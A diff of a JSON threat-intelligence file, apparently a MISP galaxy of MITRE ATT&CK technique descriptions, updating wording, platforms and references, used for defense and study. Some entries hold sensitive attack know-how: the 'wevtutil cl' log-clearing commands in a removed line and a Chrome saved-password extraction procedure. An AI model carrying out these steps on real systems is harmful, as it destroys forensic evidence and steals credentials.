"https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN", + "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html", + "https://twitter.com/r0wdy_/status/936365549553991680", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c", + "value": "Services Registry Permissions Weakness - T1574.011" + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ", + "meta": { + "external_id": "T1546.015", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Loaded DLLs", + "DLL monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/015", + "https://msdn.microsoft.com/library/ms694363.aspx", + "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "value": "Component Object Model Hijacking - T1546.015" + }, + { + "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)", "meta": { "external_id": "T1140", "kill_chain": [ @@ -2376,7 +4108,9 @@ "Process command-line parameters" ], "mitre_platforms": [ - "Windows" + "Windows", + "Linux", + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1140", @@ -2457,7 +4191,7 @@ "value": "Data Transfer Size Limits - T1030" }, { - "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", + "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", "meta": { "external_id": "T1005", "kill_chain": [ @@ -2471,10 +4205,7 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "GCP", - "AWS", - "Azure" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1005" @@ -2484,29 +4215,7 @@ "value": "Data from Local System - T1005" }, { - "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)", - "meta": { - "external_id": "T1006", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "API monitoring" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1006", - "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin", - "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1" - ] - }, - "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", - "value": "File System Logical Offsets - T1006" - }, - { - "description": "Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .\n\nActions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as \"any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log.\" There are three system-defined sources of Events: System, Application, and Security.\n \nAdversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nLogs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).", + "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "meta": { "external_id": "CAPEC-93", "kill_chain": [ @@ -2526,17 +4235,40 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1070", - "https://capec.mitre.org/data/definitions/93.html", - "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil", - "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx", - "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog" + "https://capec.mitre.org/data/definitions/93.html" ] }, "uuid": "799ace7f-e227-4411-baa0-8868704f2a69", "value": "Indicator Removal on Host - T1070" }, { - "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", + "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", + "meta": { + "external_id": "T1041", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1041", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "value": "Exfiltration Over C2 Channel - T1041" + }, + { + "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", "meta": { "external_id": "T1210", "kill_chain": [ @@ -2564,7 +4296,7 @@ "value": "Exploitation of Remote Services - T1210" }, { - "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "meta": { "external_id": "CAPEC-309", "kill_chain": [ @@ -2587,33 +4319,6 @@ "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "value": "System Network Configuration Discovery - T1016" }, - { - "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.", - "meta": { - "external_id": "T1071", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1071", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ] - }, - "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", - "value": "Standard Application Layer Protocol - T1071" - }, { "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.", "meta": { @@ -2637,7 +4342,7 @@ "value": "Replication Through Removable Media - T1091" }, { - "description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", + "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", "meta": { "external_id": "T1203", "kill_chain": [ @@ -2664,26 +4369,24 @@ "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "meta": { "external_id": "CAPEC-556", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1042", "https://capec.mitre.org/data/definitions/556.html", - "http://msdn.microsoft.com/en-us/library/bb166549.aspx", "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", + "http://msdn.microsoft.com/en-us/library/bb166549.aspx", "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc", "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" ] }, + "related": [ + { + "dest-uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "68c96494-1a50-403e-8844-69a6af278c68", "value": "Change Default File Association - T1042" }, @@ -2705,7 +4408,7 @@ "value": "File and Directory Discovery - T1420" }, { - "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", + "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", "meta": { "external_id": "T1025", "kill_chain": [ @@ -2729,13 +4432,14 @@ "value": "Data from Removable Media - T1025" }, { - "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", + "description": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "meta": { "external_id": "T1052", "kill_chain": [ "mitre-attack:exfiltration" ], "mitre_data_sources": [ + "Process monitoring", "Data loss prevention", "File monitoring" ], @@ -2752,7 +4456,7 @@ "value": "Exfiltration Over Physical Medium - T1052" }, { - "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)", + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ", "meta": { "external_id": "CAPEC-267", "kill_chain": [ @@ -2786,8 +4490,6 @@ "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf", "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", - "https://en.wikipedia.org/wiki/Duqu", - "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/", "https://github.com/danielbohannon/Revoke-Obfuscation", "https://github.com/itsreallynick/office-crackros" ] @@ -2840,20 +4542,6 @@ "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData ‎April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "meta": { "external_id": "T1503", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Process monitoring", - "PowerShell logs", - "File monitoring", - "API monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1503", "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", @@ -2863,11 +4551,20 @@ "https://github.com/putterpanda/mimikittenz" ] }, + "related": [ + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", "value": "Credentials from Web Browsers - T1503" }, { - "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Windows\n\nExample utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n### Mac and Linux\n\nIn Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.", + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).", "meta": { "external_id": "T1083", "kill_chain": [ @@ -2895,36 +4592,31 @@ "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "meta": { "external_id": "CAPEC-471", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation", - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "File monitoring", - "DLL monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1038", "https://capec.mitre.org/data/definitions/471.html", "http://msdn.microsoft.com/en-US/library/ms682586", "https://www.owasp.org/index.php/Binary_planting", - "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx", + "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/", "http://msdn.microsoft.com/en-US/library/ms682600", "https://msdn.microsoft.com/en-US/library/aa375365", "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" ] }, + "related": [ + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "46944654-fcc1-4f63-9dad-628102376586", "value": "DLL Search Order Hijacking - T1038" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)", "meta": { "external_id": "T1380", "kill_chain": [ @@ -2961,18 +4653,6 @@ "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). 